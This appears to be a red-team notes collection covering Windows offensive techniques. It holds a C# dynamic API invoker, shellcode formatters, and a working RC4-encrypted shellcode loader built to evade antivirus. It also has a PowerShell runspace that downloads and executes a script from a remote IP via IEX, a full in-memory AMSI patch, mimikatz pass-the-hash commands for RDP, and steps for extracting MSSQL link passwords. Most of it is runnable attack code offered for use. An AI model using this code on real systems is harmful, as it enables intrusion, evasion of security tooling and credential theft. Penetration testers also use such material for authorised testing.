            MiniversionInaccessibleFromSpecifiedTransaction = 0xc0190024,
            CantOpenMiniversionWithModifyIntent = 0xc0190025,
            CantCreateMoreStreamMiniversions = 0xc0190026,
            HandleNoLongerValid = 0xc0190028,
            NoTxfMetadata = 0xc0190029,
            LogCorruptionDetected = 0xc0190030,
            CantRecoverWithHandleOpen = 0xc0190031,
            RmDisconnected = 0xc0190032,
            EnlistmentNotSuperior = 0xc0190033,
            RecoveryNotNeeded = 0xc0190034,
            RmAlreadyStarted = 0xc0190035,
            FileIdentityNotPersistent = 0xc0190036,
            CantBreakTransactionalDependency = 0xc0190037,
            CantCrossRmBoundary = 0xc0190038,
            TxfDirNotEmpty = 0xc0190039,
            IndoubtTransactionsExist = 0xc019003a,
            TmVolatile = 0xc019003b,
            RollbackTimerExpired = 0xc019003c,
            TxfAttributeCorrupt = 0xc019003d,
            EfsNotAllowedInTransaction = 0xc019003e,
            TransactionalOpenNotAllowed = 0xc019003f,
            TransactedMappingUnsupportedRemote = 0xc0190040,
            TxfMetadataAlreadyPresent = 0xc0190041,
            TransactionScopeCallbacksNotSet = 0xc0190042,
            TransactionRequiredPromotion = 0xc0190043,
            CannotExecuteFileInTransaction = 0xc0190044,
            TransactionsNotFrozen = 0xc0190045,

            MaximumNtStatus = 0xffffffff
        }



    }

    public class Invoke
    {

        public static STRUCTS.NTSTATUS LdrLoadDll(IntPtr PathToFile, UInt32 dwFlags, ref STRUCTS.UNICODE_STRING ModuleFileName, ref IntPtr ModuleHandle)
        {
            // Craft an array for the arguments
            object[] funcargs =
            {
                PathToFile, dwFlags, ModuleFileName, ModuleHandle
            };

            STRUCTS.NTSTATUS retValue = (STRUCTS.NTSTATUS)DynamicAPIInvoke(@"ntdll.dll", @"LdrLoadDll", typeof(DELEGATES.RtlInitUnicodeString), ref funcargs);

            // Update the modified variables
            ModuleHandle = (IntPtr)funcargs[3];

            return retValue;
        }

        public static void RtlInitUnicodeString(ref STRUCTS.UNICODE_STRING DestinationString, [MarshalAs(UnmanagedType.LPWStr)] string SourceString)
        {
            // Craft an array for the arguments
            object[] funcargs =
            {
                DestinationString, SourceString
            };

            DynamicAPIInvoke(@"ntdll.dll", @"RtlInitUnicodeString", typeof(DELEGATES.RtlInitUnicodeString), ref funcargs);

            // Update the modified variables
            DestinationString = (STRUCTS.UNICODE_STRING)funcargs[0];
        }

        /// <summary>
        /// Dynamically invoke an arbitrary function from a DLL, providing its name, function prototype, and arguments.
        /// </summary>
        /// <author>The Wover (@TheRealWover)</author>
        /// <param name="DLLName">Name of the DLL.</param>
        /// <param name="FunctionName">Name of the function.</param>
        /// <param name="FunctionDelegateType">Prototype for the function, represented as a Delegate object.</param>
        /// <param name="Parameters">Parameters to pass to the function. Can be modified if function uses call by reference.</param>
        /// <returns>Object returned by the function. Must be unmarshalled by the caller.</returns>
        public static object DynamicAPIInvoke(string DLLName, string FunctionName, Type FunctionDelegateType, ref object[] Parameters)
        {
            IntPtr pFunction = GetLibraryAddress(DLLName, FunctionName);
            return DynamicFunctionInvoke(pFunction, FunctionDelegateType, ref Parameters);
        }

        /// <summary>
        /// Dynamically invokes an arbitrary function from a pointer. Useful for manually mapped modules or loading/invoking unmanaged code from memory.
        /// </summary>
        /// <author>The Wover (@TheRealWover)</author>
        /// <param name="FunctionPointer">A pointer to the unmanaged function.</param>
        /// <param name="FunctionDelegateType">Prototype for the function, represented as a Delegate object.</param>
        /// <param name="Parameters">Arbitrary set of parameters to pass to the function. Can be modified if function uses call by reference.</param>
        /// <returns>Object returned by the function. Must be unmarshalled by the caller.</returns>
        public static object DynamicFunctionInvoke(IntPtr FunctionPointer, Type FunctionDelegateType, ref object[] Parameters)
        {
            Delegate funcDelegate = Marshal.GetDelegateForFunctionPointer(FunctionPointer, FunctionDelegateType);
            return funcDelegate.DynamicInvoke(Parameters);
        }


        /// <summary>
        /// Resolves LdrLoadDll and uses that function to load a DLL from disk.
        /// </summary>
        /// <author>Ruben Boonen (@FuzzySec)</author>
        /// <param name="DLLPath">The path to the DLL on disk. Uses the LoadLibrary convention.</param>
        /// <returns>IntPtr base address of the loaded module or IntPtr.Zero if the module was not loaded successfully.</returns>
        public static IntPtr LoadModuleFromDisk(string DLLPath)
        {
            STRUCTS.UNICODE_STRING uModuleName = new STRUCTS.UNICODE_STRING();
            RtlInitUnicodeString(ref uModuleName, DLLPath);

            IntPtr hModule = IntPtr.Zero;
            STRUCTS.NTSTATUS CallResult = LdrLoadDll(IntPtr.Zero, 0, ref uModuleName, ref hModule);
            if (CallResult != STRUCTS.NTSTATUS.Success || hModule == IntPtr.Zero)
            {
                return IntPtr.Zero;
            }

            return hModule;
        }

        /// <summary>
        /// Helper for getting the base address of a module loaded by the current process. This base
        /// address could be passed to GetProcAddress/LdrGetProcedureAddress or it could be used for
        /// manual export parsing. This function uses the .NET System.Diagnostics.Process class.
        /// </summary>
        /// <author>Ruben Boonen (@FuzzySec)</author>
        /// <param name="DLLName">The name of the DLL (e.g. "ntdll.dll").</param>
        /// <returns>IntPtr base address of the loaded module or IntPtr.Zero if the module is not found.</returns>
        public static IntPtr GetLoadedModuleAddress(string DLLName)
        {
            ProcessModuleCollection ProcModules = Process.GetCurrentProcess().Modules;
            foreach (ProcessModule Mod in ProcModules)
            {
                if (Mod.FileName.ToLower().EndsWith(DLLName.ToLower()))
                {
                    return Mod.BaseAddress;
                }
            }
            return IntPtr.Zero;
        }

        /// <summary>
        /// Helper for getting the pointer to a function from a DLL loaded by the process.
        /// </summary>
        /// <author>Ruben Boonen (@FuzzySec)</author>
        /// <param name="DLLName">The name of the DLL (e.g. "ntdll.dll" or "C:\Windows\System32\ntdll.dll").</param>
        /// <param name="FunctionName">Name of the exported procedure.</param>
        /// <param name="CanLoadFromDisk">Optional, indicates if the function can try to load the DLL from disk if it is not found in the loaded module list.</param>
        /// <returns>IntPtr for the desired function.</returns>
        public static IntPtr GetLibraryAddress(string DLLName, string FunctionName, bool CanLoadFromDisk = false)
        {
            IntPtr hModule = GetLoadedModuleAddress(DLLName);
            if (hModule == IntPtr.Zero && CanLoadFromDisk)
            {
                hModule = LoadModuleFromDisk(DLLName);
                if (hModule == IntPtr.Zero)
                {
                    throw new FileNotFoundException(DLLName + ", unable to find the specified file.");
                }
            }
            else if (hModule == IntPtr.Zero)
            {
                throw new DllNotFoundException(DLLName + ", Dll was not found.");
            }

            return GetExportAddress(hModule, FunctionName);
        }

        /// <summary>
        /// Given a module base address, resolve the address of a function by manually walking the module export table.
        /// </summary>
        /// <author>Ruben Boonen (@FuzzySec)</author>
        /// <param name="ModuleBase">A pointer to the base address where the module is loaded in the current process.</param>
        /// <param name="ExportName">The name of the export to search for (e.g. "NtAlertResumeThread").</param>
        /// <returns>IntPtr for the desired function.</returns>
        public static IntPtr GetExportAddress(IntPtr ModuleBase, string ExportName)
        {
            IntPtr FunctionPtr = IntPtr.Zero;
            try
            {
                // Traverse the PE header in memory
                Int32 PeHeader = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + 0x3C));
                Int16 OptHeaderSize = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + PeHeader + 0x14));
                Int64 OptHeader = ModuleBase.ToInt64() + PeHeader + 0x18;
                Int16 Magic = Marshal.ReadInt16((IntPtr)OptHeader);
                Int64 pExport = 0;
                if (Magic == 0x010b)
                {
                    pExport = OptHeader + 0x60;
                }
                else
                {
                    pExport = OptHeader + 0x70;
                }

                // Read -> IMAGE_EXPORT_DIRECTORY
                Int32 ExportRVA = Marshal.ReadInt32((IntPtr)pExport);
                Int32 OrdinalBase = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x10));
                Int32 NumberOfFunctions = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x14));
                Int32 NumberOfNames = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x18));
                Int32 FunctionsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x1C));
                Int32 NamesRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x20));
                Int32 OrdinalsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x24));

                // Loop the array of export name RVA's
                for (int i = 0; i < NumberOfNames; i++)
                {
                    string FunctionName = Marshal.PtrToStringAnsi((IntPtr)(ModuleBase.ToInt64() + Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + NamesRVA + i * 4))));
                    if (FunctionName.Equals(ExportName, StringComparison.OrdinalIgnoreCase))
                    {
                        Int32 FunctionOrdinal = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + OrdinalsRVA + i * 2)) + OrdinalBase;
                        Int32 FunctionRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + FunctionsRVA + (4 * (FunctionOrdinal - OrdinalBase))));
                        FunctionPtr = (IntPtr)((Int64)ModuleBase + FunctionRVA);
                        break;
                    }
                }
            }
            catch
            {
                // Catch parser failure
                throw new InvalidOperationException("Failed to parse module exports.");
            }

            if (FunctionPtr == IntPtr.Zero)
            {
                // Export not found
                throw new MissingMethodException(ExportName + ", export not found.");
            }
            return FunctionPtr;
        }

    }
}

```


# Shellcode Formatter

Format Shellcode in various formats&#x20;

```
#!/usr/bin/env python3
import base64

# Edit this line with the path to the binary file containing shellcode you are converting
with open('/home/user/Downloads/payload.bin', 'rb') as sc_handle:
    sc_data = sc_handle.read()

# Just raw binary blog base64 encoded
encoded_raw = base64.b64encode(sc_data)

# Print in "standard" shellcode format \x41\x42\x43....
binary_code = ''
fs_code = ''
for byte in sc_data:
    binary_code += "\\x" + hex(byte)[2:].zfill(2)
    # this is for f#
    fs_code += "0x" + hex(byte)[2:].zfill(2) + "uy;"

# Convert this into a C# style shellcode format
cs_shellcode = "0" + ",0".join(binary_code.split("\\")[1:])

# Base 64 encode the C# code (for use with certain payloads :))
encoded_cs = base64.b64encode(cs_shellcode.encode())

# Write out the files to disk (edit this path as needed)
with open('formatted_shellcode.txt', 'w') as format_out:
    format_out.write("Binary Blob base64 encoded:\n\n")
    format_out.write(encoded_raw.decode('ascii'))
    format_out.write("\n\nStandard shellcode format:\n\n")
    format_out.write(binary_code)
    format_out.write("\n\nC# formatted shellcode:\n\n")
    format_out.write(cs_shellcode)
    format_out.write("\n\nBase64 Encoded C# shellcode:\n\n")
    format_out.write(encoded_cs.decode('ascii'))
    format_out.write("\n\nF# Shellcode:\n\n")
    format_out.write(fs_code)
    format_out.write("\n")
```

```
$fileName = "C:\Users\User\Desktop\payload.bin"
$fileContent = [IO.File]::ReadAllBytes($fileName)
$filecontentsencoded = [convert]::ToBase64String($fileContent)
"Binary Blob base64 encoded:`n`n" + $filecontentsencoded | set-content ($fileName + ".b64")

$scformat = '\x' + (($fileContent | ForEach-Object ToString x2) -join '\x')
"`nStandard shellcode format:`n`n" + $scformat | add-content ($fileName + ".b64")

$csharpformat = '0x' + (($fileContent | ForEach-Object ToString x2 | ForEach-Object { $_ + ',' }) -join '0x')
$csharpformat = $csharpformat.SubString(0, $csharpformat.Length-1)
"`nC# formatted shellcode:`n`n" + $csharpformat | add-content ($fileName + ".b64")

$Bytes = [System.Text.Encoding]::UTF8.GetBytes($csharpformat)
$EncodedText =[Convert]::ToBase64String($Bytes)
"`nBase64 Encoded C# shellcode:`n`n" + $EncodedText | add-content ($fileName + ".b64")

$fsharpformat = '0x' + (($fileContent | ForEach-Object ToString x2 | ForEach-Object { $_ + 'uy;' }) -join '0x')
$fsharpformat = $fsharpformat.SubString(0, $fsharpformat.Length-1)
"`nF# formatted shellcode:`n`n" + $fsharpformat | add-content ($fileName + ".b64")
```

Update 22-03-2022

```
#!/usr/bin/env python3
import base64

# Edit this line with the path to the binary file containing shellcode you are converting
with open('.\Helloworld.bin', 'rb') as sc_handle:
    sc_data = sc_handle.read()

# Just raw binary blog base64 encoded
encoded_raw = base64.b64encode(sc_data)
n=100
chunks = [encoded_raw[i:i+n] for i in range(0, len(encoded_raw), n)]

# Print in "standard" shellcode format \x41\x42\x43....
binary_code = ''
fs_code = ''
for byte in sc_data:
    binary_code += "\\x" + hex(byte)[2:].zfill(2)
    # this is for f#
    fs_code += "0x" + hex(byte)[2:].zfill(2) + "uy;"

binary_chunks = [binary_code[i:i+n] for i in range(0, len(binary_code), n)]


# Convert this into a C# style shellcode format
cs_shellcode = "0" + ",0".join(binary_code.split("\\")[1:])

# Base 64 encode the C# code (for use with certain payloads :))
encoded_cs = base64.b64encode(cs_shellcode.encode())

# Write out the files to disk (edit this path as needed)
with open('formatted_helloworld_shellcode.txt', 'w') as format_out:
    format_out.write("Binary Blob base64 encoded:\n\n")
    format_out.write(encoded_raw.decode('ascii'))
    format_out.write("\n\nStandard shellcode format:\n\n")
    format_out.write(binary_code)
    format_out.write("\n\nC# formatted shellcode:\n\n")
    format_out.write(cs_shellcode)
    format_out.write("\n\nBase64 Encoded C# shellcode:\n\n")
    format_out.write(encoded_cs.decode('ascii'))
    format_out.write("\n\nF# Shellcode:\n\n")
    format_out.write(fs_code)
    format_out.write("\n")
    format_out.write("\n\nchunk base64 Shellcode:\n\n")
    for item in chunks:
        format_out.write(f"\"{item.decode('ascii')}\"\n")
    format_out.write("\n\nChunk Standard shellcode format:\n\n")
    for item in binary_chunks:
        format_out.write(f"\"{item}\"\n")
```


# DLL Sideloading

Not the perfect way, but the faster way

Recently, I purchased a commercial C4 and it turns out that my knowledge about loader locks and DLL sideloading was all wrong. There is a lot of ways DLL sideloads could go wrong one of which is loader lock, checkout DLL koppeling to know more.

### How to find DLL sideloads&#x20;

```

Get-ChildItem -Path "C:\" -Filter *.exe -Recurse -File -Name | ForEach-Object {
    Write-Host $_
    $bin = "C:\" + $_
    C:\Tools\Siofra64.exe --mode file-scan --enum-dependency --dll-hijack -f $bin >> check_appdata.txt
}

```

### How to make ProxyDlls

Use SharpProxyDLL to make a proxy dll . replace the tmpXYZ export to C:\\\Windows\\\SYSTEM32\\\XYZ.dll&#x20;

### Not so ideal hack

@paranoidNinja told me we should not load our shellcode from DLLMain but since I'm on clock, I want to share a not so ideal hack to get away. This is not the best way and your shell could die, but hey it works.

Make sure you do this change before compiling your dll (hopefully generated from SharpPorxyDll)

![](/files/R9E665RSIrAv0P0n2qv7)

Compile and enjoy


# InMemory Shellcode Encryption and Decryption using SystemFunction033

Shellcode encoding using SystemFunction033

### What is SystemFunction033

It is basically a function is Advapi32.dll which can do in RC4 encryption and decryption in memory

Read and learn about it from below links&#x20;

* <https://github.com/gentilkiwi/mimikatz/blob/c78b1cf37c517ae9d0e872447bb103da9fa6034a/modules/kull_m_crypto_system.h#L98>
* <https://s3cur3th1ssh1t.github.io/SystemFunction032_Shellcode/>

### Tribute

So in his tweet <https://twitter.com/ShitSecure/status/1589276402532384768> asked what you think at night?

&#x20;Here's a copy of his blog post but in C++

### Shellcode Encode

First you want your shellcode to encode (what a silly requirement :joy:. You can get it from msfvenom or CobaltStrike or Havoc C2&#x20;

If you got in raw format you can use below command to quickly turn it into cpp usable format&#x20;

```
xxd -i shellcode.bin > shellcode.h
```

```cpp
#include <windows.h>
#include <Winbase.h>
#include <iostream>
#include <string>
#include "shellcode.h"

#pragma warning(disable:4996)


using namespace std;

// Function prototype for SystemFunction033
typedef NTSTATUS(WINAPI* _SystemFunction033)(
	struct ustring* memoryRegion,
	struct ustring* keyPointer);

struct ustring {
	DWORD Length;
	DWORD MaximumLength;
	PVOID Buffer;
} _data, key, _data2;
int main()
{

	_SystemFunction033 SystemFunction033 = (_SystemFunction033)GetProcAddress(LoadLibrary(L"advapi32"), "SystemFunction033");

	char _key[] = "alphaBetagamma";

	//Hello
	//unsigned char shellcode[] = { 0x48,0x65,0x6c,0x6c,0x6f };
	//Encrypted RC4
	//unsigned char shellcode[] = { 0x41, 0xd6, 0xaa, 0x12, 0x8e };
	unsigned int shellcode_size = sizeof(shellcode);

	PVOID buffer = VirtualAlloc(NULL, sizeof(shellcode), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	// Copy the character array to the allocated memory using memcpy.
	std::memcpy(buffer, shellcode, shellcode_size);
	
	//just setting null values at shellcode, cause why not 
	memset(shellcode, 0, shellcode_size);


	//Setting key values
	key.Buffer = (&_key);
	key.Length = sizeof(_key);

	//Setting shellcode in the struct for Systemfunction033
	_data.Buffer = buffer;
	_data.Length = shellcode_size;


	//Calling Systemfunction033
	SystemFunction033(&_data, &key);

	//Writing encrypted shellcode to bin file
	FILE* fp = fopen("enc_shellcode.bin", "wb");

	// Write the contents of the pvoid pointer to the file. They contents should be encrypted
	fwrite(buffer, shellcode_size, 1, fp);

	// Close the file
	fclose(fp);
	
	//instead if you want to print out the mem contents 
	/*
	for (unsigned int i = 0; i < _data.Length; i++)
	{
		cout << std::hex << (unsigned int)*((unsigned char*)buffer + i) << " ";
	}
	*/

	return 0;
}

```

Check the file enc\_shellcode.bin, you should have an encrypted shellcode

### Shellcode Injection with Systemfunction033

Hoping you got the enc\_shellcode.bin file now its time to get it decrypted in memory again

But first lets get your encrypted shellcode in cpp&#x20;

```
xxd -i enc_shellcode.bin > enc_shellcode.h
```

Now once we have that header file lets begin simple injection in memory&#x20;

```cpp
#include <windows.h>
#include <Winbase.h>
#include <iostream>
#include <string>
#include "enc_shellcode.h"

#pragma warning(disable:4996)


using namespace std;

// Function prototype for SystemFunction033
typedef NTSTATUS(WINAPI* _SystemFunction033)(
	struct ustring* memoryRegion,
	struct ustring* keyPointer);

struct ustring {
	DWORD Length;
	DWORD MaximumLength;
	PVOID Buffer;
} _data, key, _data2;
int main()
{

	_SystemFunction033 SystemFunction033 = (_SystemFunction033)GetProcAddress(LoadLibrary(L"advapi32"), "SystemFunction033");

	char _key[] = "alphaBetagamma";

	
	unsigned int shellcode_size = sizeof(shellcode);

	PVOID buffer = VirtualAlloc(NULL, shellcode_size, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
	// Copy the character array to the allocated memory using memcpy.
	std::memcpy(buffer, shellcode, shellcode_size);
	
	//just setting null values at shellcode, cause why not and why keep two copies in memory
	memset(shellcode, 0, shellcode_size);


	key.Buffer = (&_key);
	key.Length = sizeof(_key);

	_data.Buffer = buffer;
	_data.Length = shellcode_size;

	SystemFunction033(&_data, &key);
	DWORD oldProtect = 0;
	BOOL ret = VirtualProtect((LPVOID)buffer, shellcode_size, PAGE_EXECUTE_READ, &oldProtect);
	((void(*)())buffer)();
	WaitForSingleObject((HANDLE)-1, -1);


	return 0;
}


```

### Benefits ?

Bypass YARA detection if you are using Single Byte XOR&#x20;

Defeat the AV "On Injection"  shellcode detection as the decryption happens after the shellcode is put in memory

You dont want to write error prone code of encoding and decoding

### Credits

As always, my sensei [@vysecurity](https://twitter.com/vysecurity/)

Good to know [@S3cur3Th1sSh1t](https://twitter.com/ShitSecure) suffers from same disorder (weird thoughts at night) :joy:

Code stolen from <https://osandamalith.com/2022/11/10/encrypting-shellcode-using-systemfunction032-033/>


# PowerShell


# Enable Restricted Admin using powershell and use mimikatz for RDP

To enable restrcitedadmin using powershell run the following command.

```
New-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Lsa'  -Name 'DisableRestrictedAdmin' -Value 0 -PropertyType DWORD
```

Now you can use mimikatz as follows to get RDP session

```
token::elevate
privilege::debug
sekurlsa::pth /user:<user name> /domain:<domain name> /ntlm:<the user's ntlm hash> /run:"mstsc.exe /restrictedadmin /v:<IP of the system>"
```


# Powershell Custom Runspace

Powershell runspace allows ways to run powershell in an applocker mode or where powershell is in constrained language mode.&#x20;

```
using System;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
namespace Bypass
{
    class Program
    {
        static void Main(string[] args)
        {
            Runspace rs = RunspaceFactory.CreateRunspace();
            rs.Open();
            PowerShell ps = PowerShell.Create();
            ps.Runspace = rs;
            String cmd = "$ExecutionContext.SessionState.LanguageMode | Out-File -FilePath C:\\Tools\\test.txt";
            cmd = "(New-Object System.Net.WebClient).DownloadString('http://192.168.49.95/PowerUp.ps1') | IEX; Invoke-AllChecks | Out-File -FilePath C:\\Tools\\test.txt";
            ps.AddScript(cmd);
            ps.Invoke();
            rs.Close();

        }
    }
}
```


# Using Reflection for AMSI Bypass

Converting an already available AMSI Bypass to FULL in memory AMSI Bypass

### Already Existing Bypass and the Issue

I was reading for the AMSI Bypasses and found the Bypass documented by Contextis at <https://www.contextis.com/en/blog/amsi-bypass>. Now everything as good here with the bypass except one problem. The problem is that the bypass is using **Add-Type** . Whenever you use **Add-Type, the code gets written to a temporary file and then csc.exe is used to compile a binary which stays on disk**. This creates a problem when you want to stay stealthy and don't want to write any artifact on disk.

![PowerShell writing to disk](/files/-MPTWsg-lOVXzyU-MySZ)

Once Powershell Writes the script on disk, CSC then compiles it&#x20;

![CSC.exe compiling the script](/files/-MPTX_G31yuK0VNBYXQV)

### Solution: Reflection

Matt Graeber in his post on [exploit-monday.com](http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html) go into great detail on how to use reflection for accessing Win32 API . Please refer to blog post to understand how Reflection works.

### Modified Script

After using Reflection here is the Modified Script to Bypass AMSI.

```
Write-Host "-- AMSI Patch"
Write-Host "-- Modified By: Shantanu Khandelwal (@shantanukhande)"
Write-Host "-- Original Author: Paul Laîné (@am0nsec)"
Write-Host ""

Class Hunter {
    static [IntPtr] FindAddress([IntPtr]$address, [byte[]]$egg) {
        while ($true) {
            [int]$count = 0

            while ($true) {
                [IntPtr]$address = [IntPtr]::Add($address, 1)
                If ([System.Runtime.InteropServices.Marshal]::ReadByte($address) -eq $egg.Get($count)) {
                    $count++
                    If ($count -eq $egg.Length) {
                        return [IntPtr]::Subtract($address, $egg.Length - 1)
                    }
                } Else { break }
            }
        }

        return $address
    }
}
function Get-ProcAddress {
    Param(
        [Parameter(Position = 0, Mandatory = $True)] [String] $Module,
        [Parameter(Position = 1, Mandatory = $True)] [String] $Procedure
    )

    # Get a reference to System.dll in the GAC
    $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
    Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
    $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
    # Get a reference to the GetModuleHandle and GetProcAddress methods
    $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
    $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String]))
    # Get a handle to the module specified
    $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
    $tmpPtr = New-Object IntPtr
    $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
    # Return the address of the function
    return $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
}
function Get-DelegateType
{
    Param
    (
        [OutputType([Type])]
            
        [Parameter( Position = 0)]
        [Type[]]
        $Parameters = (New-Object Type[](0)),
            
        [Parameter( Position = 1 )]
        [Type]
        $ReturnType = [Void]
    )

    $Domain = [AppDomain]::CurrentDomain
    $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
    $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
    $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
    $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
    $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
    $ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
    $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
    $MethodBuilder.SetImplementationFlags('Runtime, Managed')
        
    Write-Output $TypeBuilder.CreateType()
}
$LoadLibraryAddr = Get-ProcAddress kernel32.dll LoadLibraryA
$LoadLibraryDelegate = Get-DelegateType @([String]) ([IntPtr])
$LoadLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LoadLibraryAddr, $LoadLibraryDelegate)
$GetProcAddressAddr = Get-ProcAddress kernel32.dll GetProcAddress
$GetProcAddressDelegate = Get-DelegateType @([IntPtr], [String]) ([IntPtr])
$GetProcAddress = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressAddr, $GetProcAddressDelegate)
$VirtualProtectAddr = Get-ProcAddress kernel32.dll VirtualProtect
$VistualProtectDelegate =  Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool])
$VirtualProtect = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectAddr, $VistualProtectDelegate)


If ([IntPtr]::Size -eq 8) {
    Write-Host "[+] 64-bits process"
    [byte[]]$egg = [byte[]] (
        0x4C, 0x8B, 0xDC,       # mov     r11,rsp
        0x49, 0x89, 0x5B, 0x08, # mov     qword ptr [r11+8],rbx
        0x49, 0x89, 0x6B, 0x10, # mov     qword ptr [r11+10h],rbp
        0x49, 0x89, 0x73, 0x18, # mov     qword ptr [r11+18h],rsi
        0x57,                   # push    rdi
        0x41, 0x56,             # push    r14
        0x41, 0x57,             # push    r15
        0x48, 0x83, 0xEC, 0x70  # sub     rsp,70h
    )
} Else {
    Write-Host "[+] 32-bits process"
    [byte[]]$egg = [byte[]] (
        0x8B, 0xFF,             # mov     edi,edi
        0x55,                   # push    ebp
        0x8B, 0xEC,             # mov     ebp,esp
        0x83, 0xEC, 0x18,       # sub     esp,18h
        0x53,                   # push    ebx
        0x56                    # push    esi
    )
}


$hModule = $LoadLibrary.Invoke("amsi.dll")
Write-Host "[+] AMSI DLL Handle: $hModule"
$DllGetClassObjectAddress = $GetProcAddress.Invoke($hModule, "DllGetClassObject")
Write-Host "[+] DllGetClassObject address: $DllGetClassObjectAddress"
[IntPtr]$targetedAddress = [Hunter]::FindAddress($DllGetClassObjectAddress, $egg)
Write-Host "[+] Targeted address: $targetedAddress"

$oldProtectionBuffer = 0
$VirtualProtect.Invoke($targetedAddress, [uint32]2, 4, [ref]$oldProtectionBuffer) | Out-Null

$patch = [byte[]] (
    0x31, 0xC0,    # xor rax, rax
    0xC3           # ret  
)
[System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $targetedAddress, 3)

$a = 0
$VirtualProtect.Invoke($targetedAddress, [uint32]2, $oldProtectionBuffer, [ref]$a) | Out-Null
```

The script can also be downloaded from this gist <https://gist.github.com/shantanu561993/6483e524dc225a188de04465c8512909>

The advantage of using reflection is that there is no Temporary file and no calls to csc which allows the script to stay fully in memory.

![No Temporary files by powershell and no CSC.exe compilation . ](/files/-MPTaZjYi-6DxZ3rWCwl)

This means the bypass is full in memory which is the end result. :)

### Credits

Matt: [https://twitter.com/mattifestatio](https://twitter.com/mattifestation)n\
Paul: <https://twitter.com/am0nsec>


# Database


# Extract MSSQL Link Password

![](/files/-MTKJbmz5LFJo_NiOuRU)

Step 1: Get Local Instances&#x20;

![Local Instances on the system](/files/-MTKD0QucAn7uZczVGYw)

Step 2 : Get the current User

![Getting the current user name](/files/-MTKEYJF1B5K3kG0FMWq)

Step 3: Get the version&#x20;

![](/files/-MTKFrLDvlEH4t-srEg6)

Step 4: Check if you can impersonate sa

![](/files/-MTKGzHjpiOyQV88jXz2)

Step 5: Enable DAC

![](/files/-MTKJ0DbY0n0pKOBiXEa)

Step 6: Check if port 1434 is enabled

Step 7: If you dont see 1434 enabled see below

Step 8: Check if you have  **-T7806 in SQL Args. If you dont see below**

![](/files/-MTKMa9gKObbZN52XMEP)

Step 9 : Add SQLArg3 as -T7806

```
New-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Microsoft SQL Server\MSSQL15.SQLEXPRESS\MSSQLServer\Parameters\" -Name "SQLArg3" -Value "-T7806"  -PropertyType "String"
```

![](/files/-MTKOlyu4s9a1ATWe1_6)

Step 10: Check if you have SQLBrowser running&#x20;

```
Get-Service | Where {$_.Name -Like "*SQLBROWSER*"}
```

![](/files/-MTKPsOe-vEayX2jXgev)

![](/files/-MTKRXNe14_Bqvg7izzy)

Step 11: Check if you have named pipes enabled

![](/files/-MTKUmtwRW8XhMGz7W0M)

```
Set-ItemProperty "HKLM:\Software\Microsoft\Microsoft SQL Server\MSSQL15.SQLEXPRESS\MSSQLServer\SuperSocketNetLib\Np\" -Name Enabled -Value 1 -Type DWord
```

![](/files/-MTKWa0_kMI4nqCOxd89)

Step 12: Restart the services

![](/files/-MTK_4ZZX2uEeP8G-sb6)

Step 13: Check if UDP port  1434 is now enabled&#x20;

![](/files/-MTKaDe6xqZHsy45z3qW)

Extract the Link Password&#x20;

![](/files/-MTKfPghEFQTBt_hfMim)

Reference:

{% embed url="<https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/>" %}

{% embed url="<https://dba.stackexchange.com/questions/200499/enabling-admin-connection-on-sql-server-express-to-fix-logon-trigger>" %}

Create SA account&#x20;

{% embed url="<https://sudeeptaganguly.wordpress.com/2010/04/20/how-to-enable-sa-account-in-sql-server/>" %}

{% embed url="<https://stackoverflow.com/questions/11343606/automatically-enable-named-pipes-tcp-ip-protocols-sql-server-2008-r2>" %}


# MSSQL Link Crawl - OpenQuery Quotes Calculator

MSSQL Link Crawls

